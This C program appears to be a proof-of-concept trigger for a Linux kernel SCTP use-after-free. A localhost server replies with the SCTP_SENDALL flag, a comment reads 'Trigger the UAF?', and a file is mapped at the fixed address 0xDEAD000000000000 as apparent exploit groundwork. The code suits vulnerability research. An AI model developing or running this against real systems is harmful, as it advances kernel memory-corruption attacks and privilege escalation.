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main.c
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main.c
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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <stdarg.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
// Test file mapping
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/mman.h>
#include <pthread.h>
#define t_printf(...) { \
printf("[%s] ", __func__); \
printf(__VA_ARGS__); \
}
#define t_perror(s) { \
fprintf(stderr, "[%s] ", __func__); \
perror(s); \
}
#if 0
enum sctp_sinfo_flags {
SCTP_UNORDERED = (1 << 0), /* Send/receive message unordered. */
SCTP_ADDR_OVER = (1 << 1), /* Override the primary destination. */
SCTP_ABORT = (1 << 2), /* Send an ABORT message to the peer. */
SCTP_SACK_IMMEDIATELY = (1 << 3), /* SACK should be sent without delay. */
SCTP_SENDALL = (1 << 6)
};
#endif
#define SCTP_SENDALL (1 << 6)
int server_thread_ready = 0;
void* t_server(void* server_port) {
int tmp;
t_printf("Hello, I'm Server!\n");
t_printf("Creating socket\n");
int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
if (fd == -1) {
t_perror(__func__);
exit(1);
}
t_printf("Socket created\n");
struct sockaddr_in my_addr, peer_addr;
socklen_t peer_addr_size;
memset(&my_addr, 0, sizeof(struct sockaddr_in));
my_addr.sin_family = AF_INET;
//my_addr.sin_addr.s_addr = htons((short)(uint64_t)server_port);
my_addr.sin_port = htons((short)(uint64_t)server_port);
inet_pton(AF_INET, "127.0.0.1", &(my_addr.sin_addr));
if (bind(fd, (struct sockaddr*)&my_addr, sizeof(my_addr)) != 0) {
t_perror(__func__);
exit(1);
}
t_printf("Bound to localhost: %d\n", (short)(uint64_t)server_port);
if (listen(fd, 8) != 0) {
t_perror(__func__);
exit(1);
}
t_printf("Listening on localhost, backlog 8\n");
struct sctp_sndrcvinfo sinfo;
int msg_flags;
char buf[256];
*buf = 0;
while (1) {
server_thread_ready = 1;
tmp = sctp_recvmsg(fd, buf, 16, (struct sockaddr*)&peer_addr, &peer_addr_size, &sinfo, &msg_flags);
if (tmp < 0) {
perror("server recvmsg failed");
return 0;
}
t_printf("Message received\n");
buf[16]=0;
t_printf("RECV(\"%s\")\n", buf);
// Trigger the UAF?
sinfo.sinfo_flags = SCTP_SENDALL;// | SCTP_ABORT;
t_printf("SENDALL | ABORT\n");
tmp = sctp_sendmsg(fd, buf, 16, (struct sockaddr*)&peer_addr, peer_addr_size,
sinfo.sinfo_ppid, sinfo.sinfo_flags, sinfo.sinfo_stream, 0, 0);
if (tmp < 0) {
perror("SCTP_SENDALL");
}
goto clean_exit;
}
t_printf("Server thread received exit; spinning...");
while(1);
clean_exit:
return 0;
}
void* t_client(void* server_port) {
int tmp;
t_printf("Hello, I'm Client!\n");
int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
if (fd == -1) {
t_perror(__func__);
exit(1);
}
struct sockaddr_in srv_addr;
memset(&srv_addr, 0, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
srv_addr.sin_port = htons((short)(uint64_t)server_port);
inet_aton("127.0.0.1", &(srv_addr.sin_addr));
// sinfo for storage
struct sctp_sndrcvinfo sinfo;
sinfo.sinfo_ppid = 0;
sinfo.sinfo_flags = 0;
sinfo.sinfo_stream = 0;
char buf[] = "client";
//scanf("%s", buf);
t_printf("sending msg: %s\n", buf);
tmp = sctp_sendmsg(fd, buf, sizeof(buf),
(struct sockaddr*)&srv_addr, sizeof(srv_addr),
sinfo.sinfo_ppid, sinfo.sinfo_flags,
sinfo.sinfo_stream, 0, 0);
if (tmp < 0) {
t_perror("sendmsg failed");
} else {
t_printf("sendmsg: %d bytes sent\n", tmp);
}
t_printf("Client exit\n");
return 0;
}
int main(int argc, char** argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <PORT>\n", argv[0]);
return -1;
}
// Test allocations
//
int testfile_fd = -1;
testfile_fd = open("testfile", O_RDWR);
if (testfile_fd == -1) {
t_perror("opening testfile failed");
return 0;
}
void *deadptr = 0;
deadptr = mmap( (void*)0xDEAD000000000000, 4096,
PROT_WRITE | PROT_READ, MAP_SHARED,
testfile_fd, 0);
if (deadptr == 0) {
t_perror("Memory mapping failed");
return 0;
}
t_printf("File mapped at %p\n", deadptr);
int server_port;
server_port = atoi(argv[1]);
pthread_t server_thread, client_thread;
for (uint64_t i = server_port; i < server_port + 1; i++) {
server_thread_ready = 0;
if (pthread_create(&server_thread, NULL, &t_server, (void*)i)) {
fprintf(stderr, "Could not create server thread\n");
exit(0);
}
while (!server_thread_ready); // Wait until server is ready to recv mesg
if (pthread_create(&client_thread, NULL, &t_client, (void*)i)) {
fprintf(stderr, "Could not create client thread\n");
exit(0);
}
pthread_join(server_thread, NULL);
pthread_join(client_thread, NULL);
}
munmap(deadptr, 4096);
close(testfile_fd);
return 0;
}